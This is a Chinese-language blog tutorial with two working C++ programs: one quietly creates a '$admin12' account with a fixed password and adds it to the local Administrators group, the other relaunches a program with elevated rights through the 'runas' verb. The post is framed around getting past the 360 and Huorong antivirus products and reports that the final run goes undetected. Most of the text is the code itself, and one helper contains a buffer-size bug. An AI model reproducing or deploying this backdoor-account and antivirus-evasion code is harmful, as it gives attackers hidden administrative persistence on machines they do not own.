C++使用WindowAPI提升用户权限+创建用户并添加管理员组(过360+火绒)
0x01 验证
使用net user 会被360拦截
即便不被拦截,也无法添加,本机admin用户是管理员组
0x02 添加用户免杀
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
int Usage(wchar_t*);
int main(int argc, wchar_t* argv[])
{
// 定义USER_INFO_1结构体
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = (LPWSTR)TEXT("$admin12"); // 账户
ui.usri1_password = (LPWSTR)TEXT("Admin12"); // 密码
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为zzzhhh的用户,密码为p@sswordQq123:
if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
MessageBox(0, L"successfully", L"title", 0);
}
else
{
//添加失败
MessageBox(0, L"fail", L"title", 0);
}
// 添加用户到administrators组
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = ui.usri1_name;
if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
{
//添加成功
MessageBox(0, L"Add to Administrators success", L"title", 0);
}
else
{
//添加失败
MessageBox(0, L"Add to Administrators Fail!", L"title", 0);
}
return 0;
}
打包后的文件使用360云查杀会被检测出来,但是火绒不会,静态两者均不会
单单使用这个程序不会成功,需要第二个提权程序使用
0x03 提权执行
#include <iostream>
#include <windows.h>
#include <tchar.h>
using namespace std;
//提高自己的权限
/*
* 这个函数,将进程权限提升成具有调试权限的进程,这个权限应该是进程所能具有的最大权限
* 前提启动这个进程的账户必须是一个管理员,否则没法提升
*/
//当fEnable = TRUE 的时候,授予当前进程调试权限
//当fEnable = FALSE 的时候,收回调试权限
//当函数返回TRUE的时候说明权限调整成功,否则失败
BOOL EnableDebugPrivilege(BOOL fEnable)
{
//调试权限可以让该进程能够读取其他进程的信息
BOOL fok = FALSE;
HANDLE hToken;//存放获得的令牌
//获取当前进程的令牌
/*
* 这个函数的第一个参数是当前进程的句柄
* 第二个参数是进程对获得的令牌有哪些操作权限,权限有很多
* 第三个参数是存放令牌的句柄的地址
*/
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
//开始激活当前令牌的调试权限,调试权限就算有一般也是不开通的,因为权限太大了
//一定要用完了就关掉
TOKEN_PRIVILEGES tp;//结构体,表示令牌权限
/*
*这个结构体有很多个成员变量,保存在数组里
*有一个唯一本地标识符 LUID 一个不可能重复的很大的数字,这个东西和GUID是同一个东西
*/
//只启动调试权限,所以权限的个数是一个
tp.PrivilegeCount = 1;
/*
* 下面一个函数,查找并且获得本地调试权限的LUID,LUID存储在tp结构体里
* 如果第一个参数是NULL,代表本地的权限的LUID
*/
//LookupPrivilegeValue函数获得本地系统的调试权限的LUID,还没有给令牌
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
//下面一句话,在tp.Privilege[0].Attributes属性中,设置是开启这个权限还是关闭这个权限
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
//当Attributes = SE_PRIVILEGE_ENABLE时,激活权限
//当Attributes = 0时,关闭权限
//权限是从上一个函数里获得的
//AdjustTokenPrivileges函数激活或者关闭tp中给定的权限
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
//这句话确认激活是否成功
fok = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fok;
}
string GetExePath()
{
char szFilePath[MAX_PATH + 1] = { 0 };
GetModuleFileNameA(NULL, szFilePath, MAX_PATH);
/*
strrchr:函数功能:查找一个字符c在另一个字符串str中末次出现的位置(也就是从str的右侧开始查找字符c首次出现的位置),
并返回这个位置的地址。如果未能找到指定字符,那么函数将返回NULL。
使用这个地址返回从最后一个字符c到str末尾的字符串。
*/
(strrchr(szFilePath, '\\'))[0] = 0; // 删除文件名,只获得路径字串//
string path = szFilePath;
return path;
}
LPCWSTR stringToLPCWSTR(std::string orig)
{
size_t origsize = orig.length() + 1;
const size_t newsize = 100;
size_t convertedChars = 0;
wchar_t* wcstring = (wchar_t*)malloc(sizeof(wchar_t) * (orig.length() - 1));
mbstowcs_s(&convertedChars, wcstring, origsize, orig.c_str(), _TRUNCATE);
return wcstring;
}
//判断管理员权限
bool IsAdmin()
{
BOOL b;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
b = AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup);
if (b)
{
if (!CheckTokenMembership(NULL, AdministratorsGroup, &b))
{
b = FALSE;
}
FreeSid(AdministratorsGroup);
}
return(b);
}
int main(int argc, char* argv[])
{
BOOL isadmin = IsAdmin();
cout << isadmin << endl;
string str1 = GetExePath()+"\\"+argv[1];
//string str1 = argv[1];
LPCWSTR cmd1 = stringToLPCWSTR(str1);
//提升权限
if (EnableDebugPrivilege(TRUE))
{
wcout << "Enable Debug privilege is ok!" << endl;
}
else
{
wcout << "Enable Debug privilege is failure!" << endl;
//以管理员的权限来运行某一个程序
//这个程序才是我们真正要使用的程序
//上一个程序是一个中间进程,用户看不到,是程序员申请管理员权限的程序
}
SHELLEXECUTEINFO ShExecInfo;
memset(&ShExecInfo, 0, sizeof(ShExecInfo));//初始化
ShExecInfo.cbSize = sizeof(ShExecInfo);
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = L"runas";//这个参数设置,就是让ShellExectueEx函数驱动进程,不要使用过滤令牌,就是用这个字符串
ShExecInfo.lpFile = cmd1;//这个就是你要启动的程序,例子就是启动一个cmd黑窗口
ShExecInfo.lpParameters = L"";
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_SHOW;//如果这个参数不设置,你看不见被启动程序的窗口,因为被隐藏了 SW_SHOW
ShExecInfo.hInstApp = NULL;
ShellExecuteEx(&ShExecInfo);
//收回权限
EnableDebugPrivilege(FALSE);
return 0;
}
查看静态免杀效果,静态查询过
运行,添加成功,并是管理员组,无查杀
本文仅以学习为目的